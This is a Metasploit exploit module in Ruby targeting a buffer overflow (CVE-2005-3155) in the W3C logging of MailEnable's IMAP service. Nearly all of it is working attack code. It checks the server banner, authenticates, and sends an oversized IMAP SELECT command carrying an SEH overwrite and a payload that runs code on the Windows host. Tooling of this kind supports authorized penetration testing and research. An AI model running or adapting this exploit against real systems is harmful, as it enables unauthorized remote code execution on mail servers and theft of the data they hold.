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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Imap
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'MailEnable IMAPD W3C Logging Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in the W3C logging
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        functionality of the MailEnable IMAPD service. Logging is
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        not enabled by default and this exploit requires a valid
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        username and password to exploit the flaw. MailEnable
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        Professional version 1.6 and prior and MailEnable Enterprise
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        version 1.1 and prior are affected.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2005-3155'],
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          [ 'OSVDB', '19842'],
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          [ 'BID', '15006'],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 600,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          ['MailEnable 1.54 Pro Universal', { 'Ret' => 0x1001c019 } ] #MEAISP.DLL
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        ],
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      'DisclosureDate' => '2005-10-03',
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      'DefaultTarget' => 0))
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  end
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  def check
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    connect
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    disconnect
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    if (banner and banner =~ /MailEnable Service, Version: 0-1\.54/)
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      return Exploit::CheckCode::Appears
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect_login
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    buf = rand_text_alphanumeric(6196, payload_badchars)
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    seh = generate_seh_payload(target.ret)
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    req = 'a01 SELECT ' + buf + seh + "\r\n"
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    sock.put(req)
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    handler
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    disconnect
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  end
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end
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